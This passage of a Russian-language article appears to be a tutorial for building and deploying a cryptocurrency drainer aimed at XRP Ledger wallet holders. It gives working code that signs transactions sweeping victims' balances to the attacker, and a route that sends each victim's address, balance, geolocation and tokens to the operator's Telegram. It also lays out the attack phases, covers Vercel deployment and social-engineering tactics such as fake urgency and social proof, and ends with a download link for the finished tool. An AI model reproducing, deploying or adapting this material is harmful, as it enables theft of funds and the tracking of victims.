const xrpPaymentTx = {
...probe,
Amount: sendDrops.toString()
}
const signed = wallet.sign(xrpPaymentTx)
const response = await client.submitAndWait(signed.tx_blob)
if (response.result?.meta?.TransactionResult === "tesSUCCESS") {
const delivered = response.result?.meta?.delivered_amount
xrpSent = `${(Number(delivered) / 1_000_000).toFixed(4)} XRP`
xrpTxHash = response.result?.hash
}
}
После конвертации токенов ждём 4 секунды, потом снова запрашиваем account_info чтобы получить обновлённый баланс. Это важно потому что конвертированные токены уже добавились к XRP балансу.
Дрейнер запрашивает текущую комиссию через команду fee вместо того чтобы использовать захардкоженное значение. Так надёжнее — комиссии в XRPL могут варьироваться в зависимости от нагрузки на сеть.
Для расчёта точной комиссии используется зонд-транзакция: дрейнер делает autofill с Amount: "1" (минимум), получает заполненную транзакцию с полем Fee, и использует это значение для расчёта финальной суммы.
Итоговый расчёт:
- Отправляемо = Баланс - Резерв - Комиссия
В коде расчёт выглядит так:
JSX:
const reserveDrops = Math.ceil(RESERVE_XRP * 1_000_000 + updatedOwnerCount * 0)
Важно: updatedOwnerCount * 0 означает что owner reserve (0.2 XRP за каждую TrustLine и offer) намеренно не учитывается. Это сделано потому что к моменту отправки XRP все токены уже сконвертированы и TrustLine-объекты удалены или опустели, поэтому owner count практически равен нулю.
Фактически резерв = только RESERVE_XRP = 2 XRP (в конфиге).
Пример: баланс 1000 XRP, комиссия 0.000012 XRP.
Отправляемо = 1000 - 2 - 0.000012 = 997.999988 XRP
Примечание: базовый резерв на XRPL с декабря 2024 составляет 1 XRP, но RESERVE_XRP = 2 в конфиге оставляет небольшой запас на случай если owner count не обнулился полностью.
Telegram уведомления
Файл: app/api/notify/route.ts
Когда жертва подключает кошелёк, дрейнер сразу отправляет уведомление в Telegram с информацией о ней.
JSX:
export async function POST(req: NextRequest) {
const { wallet, address, network } = await req.json()
const [xrpBalance, xrpPrice, geo, trustLines] = await Promise.all([
fetchXrpBalance(address),
fetchXrpPrice(),
geoLocate(ip),
fetchTrustLines(address),
])
const text = [
`🗼 <b>New connection</b> · <b>${walletName}</b> · ${flag} · <code>XRP</code>`,
``,
`👜 <b>Wallet balance</b> · <b>${xrpUsd}</b> · <b>${trustLines.length} tokens</b>`,
``,
`<blockquote>🪙 <b>XRP</b> · ${xrpUsd} · <b>${balanceXrp} XRP</b></blockquote>`,
``,
`<blockquote>📮 <b>Address</b>\n<code>${address}</code></blockquote>`,
].join("\n")
await fetch(TELEGRAM_API_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text,
parse_mode: "HTML",
reply_markup: {
inline_keyboard: [
[{ text: "XRPL Explorer", url: `https://xrpscan.com/account/${address}` }]
],
},
}),
})
}
Все четыре запроса выполняются параллельно через Promise.all: баланс с XRPL, курс XRP с биржи, геолокация по IP, список токенов.
Это ускоряет отправку уведомления примерно в четыре раза по сравнению с последовательными запросами.
Геолокация работает через ip-api.com — бесплатный сервис с лимитом 45 запросов в минуту.
Важно: бесплатный план поддерживает только HTTP (не HTTPS), что и используется в коде: http://ip-api.com/json/${ip}.
На сервере это нормально, потому что запрос идёт с сервера Vercel, а не из браузера. В уведомлении приходит: тип кошелька, страна по геолокации, баланс в XRP и USD, список всех токенов, адрес кошелька, кнопка с прямой ссылкой на xrpscan.
Итоговая схема работы
Фаза 1: Приманка
1. Жертва заходит на сайт где встроен iframe дрейнера
2. Видит форму подключения кошелька
3. Подключает Xaman, GEM, Crossmark или Ledger
Фаза 2: Установка Regular Key
4. Для GEM/Crossmark/Ledger: дрейнер просит подписать SetRegularKey
5. Жертва подписывает — выглядит как техническая настройка
6. Regular Key дрейнера записан на аккаунте в блокчейне
(Для Xaman: напрямую просит подписать Payment)
Фаза 3: Дренирование
7. Сервер подключается к XRPL с ключом дрейнера
8. Конвертирует все токены в XRP через DEX
9. Отправляет XRP на адрес дрейнера
10. Жертва видит пустой баланс
Telegram: как создать бота и получить токен
Для уведомлений дрейнер использует Telegram Bot API. Каждый раз когда жертва подключает кошелёк, в твой чат прилетает сообщение с её адресом, балансом, геолокацией и списком токенов.
Чтобы это работало нужны два значения: токен бота и chat_id. Токен бота получается через BotFather. Открываешь Telegram, ищешь BotFather, пишешь /newbot, придумываешь имя и username. BotFather выдаёт токен в формате 1234567890:ABCdef... Этот токен вставляешь в config.ts как TELEGRAM_BOT_TOKEN. Chat ID — это идентификатор чата куда будут приходить уведомления. Если хочешь получать в личку — напиши боту любое сообщение, потом открой в браузере https://api.telegram.org/bot<ТВОЙ_ТОКЕН>/getUpdates и найди поле "id" внутри "chat". Это и есть твой chat_id. Вставляешь его как TELEGRAM_CHAT_ID в config.ts.
Можно также создать приватный канал или группу и добавить туда бота — тогда уведомления будут приходить туда. Chat ID группы или канала начинается с минуса, например -1001234567890.
После того как оба значения вставлены в config.ts, уведомления будут работать автоматически. Дрейнер сам вызывает /api/notify при каждом подключении кошелька.
Деплой на Vercel
Дрейнер деплоится на Vercel. Это проще всего потому что проект на Next.js, а Vercel сделали именно для Next.js. Деплой занимает несколько минут.
Сначала нужно залить проект на GitHub. Создаёшь репозиторий, пушишь туда код. Важно: не пушь config.ts с реальными ключами в публичный репозиторий. Если репозиторий публичный — выноси ключи в environment variables Vercel, а в config.ts читай их через process.env.
Если репозиторий приватный — можно оставить хардкод.
После этого заходишь на vercel.com, нажимаешь Add New Project, выбираешь репозиторий с GitHub.
Vercel автоматически определяет что это Next.js и настраивает сборку. Нажимаешь Deploy.
Через минуту-две проект задеплоен и Vercel выдаёт URL вида твойпроект.vercel.app. Этот URL — адрес iframe дрейнера. Его встраиваешь на хостинг-сайт.
Если используешь environment variables вместо хардкода, добавляешь их в Vercel через Settings -> Environment Variables. Там же можно подключить кастомный домен чтобы iframe URL выглядел как часть хостинг-сайта.
При каждом git push в main ветку Vercel автоматически передеплоивает проект. Это удобно — изменил лендинг, запушил, через минуту изменение на продакшне.
Файлы проекта
Конфигурация:
- lib/config.ts — адреса, ключи и параметры дрейнера (все чувствительные данные И НАСТРОЙКИ здесь)
Логика кошельков:
- lib/crossmark.ts — утилита для подключения Crossmark (инжектит SDK)
- lib/xaman-ws.ts — WebSocket + HTTP polling для ожидания подписи Xaman
- components/xrp-wallet-modal.tsx — модальное окно выбора кошелька (Xaman QR, GEM, Crossmark, Ledger)
- components/html-landing-wrapper.tsx — изоляция HTML лендинга через iframe srcdoc
- app/api/xaman/create-tx-payload/route.ts — создание Xaman платежного payload
- app/api/xaman/get-payload/route.ts — получение статуса подписи payload
- app/api/drain/route.ts — основной маршрут: подтверждение RegularKey, конвертация токенов, вывод XRP
- app/api/notify/route.ts — отправка уведомлений в Telegram
Почему это работает: социальная инженерия
Технически дренаж XRP — это просто установка RegularKey. Но почему люди на это ведутся? Несколько причин:
1. Неосведомленность — большинство пользователей XRPL не знают что такое RegularKey
2. Привычный UX — если лендинг выглядит как обычный аирдроп или DEX, человек не подозревает подвоха
3. Срочность — если дать ограничение по времени ("предложение действует 24 часа"), жертва нажимает не думая
4. Социальное доказательство — если на сайте показать "10000+ уже получили", конверсия растёт
5. Отсутствие конкурентов — на XRP до сих пор мало дрейнеров, поэтому люди просто не ожидают
Лучший лендинг — это не самый красивый, а тот который выглядит легитимно. Он должен выглядеть как реальный сервис, а не как очевидный скам.
Заключение
В этой статье мы разобрали полный цикл дренажа XRP Ledger — от подключения кошелька жертвы до вывода средств на адрес получателя. Вот что мы сделали:
С чем мы работали:
- Четыре основных типа кошельков на XRPL: Xaman (мобиль), GEM (браузер), Crossmark (браузер), Ledger (USB)
- Механизм Regular Key — встроенный в XRPL способ давать вторичному подписанту доступ к аккаунту
- Xaman API для создания QR-кодов и отслеживания подписей
- DEX встроенный в XRPL для конвертации любых токенов в XRP без TrustLine
- Telegram API для нотификаций о успешных дренах
Что мы узнали:
- Regular Key работает не потому что это баг, а потому что жертва его не понимает. Это социальная инженерия опирающаяся на техническую особенность.
- Для каждого кошелька стратегия разная: Xaman требует Payment (SetRegularKey блокируется), GEM и Crossmark берут SetRegularKey напрямую, Ledger требует WebUSB и физического подтверждения.
- Дренаж работает фоново — после первой подписи жертва ничего не видит, баланс просто утекает.
- XRPL слабо защищена от такого типа атак.
Что мы получили:
- Готовый, рабочий дренаж XRP который работает с четырьмя популярными кошельками
- Полная архитектура: от лендинга через UI кошельков до API маршрутов дренирования
- Конвертация токенов через встроенный DEX и вывод в XRP
- Автоматические уведомления в Telegram о каждом успешном дренаже
- Готовое приложение которое может быть развёрнуто на Vercel за 10 минут
Этот проект показывает что Regular Key — это не баг в XRPL, а фича которая работает как задумано.
Проблема в том что её очень мало кто понимает. И именно из-за этого непонимания ниша дренажа на XRP остаётся открытой.
ССЫЛКА НА СКАЧИВАНИЕ ГОТОВОГО DRAINER XRP
1.31 MB file on MEGA
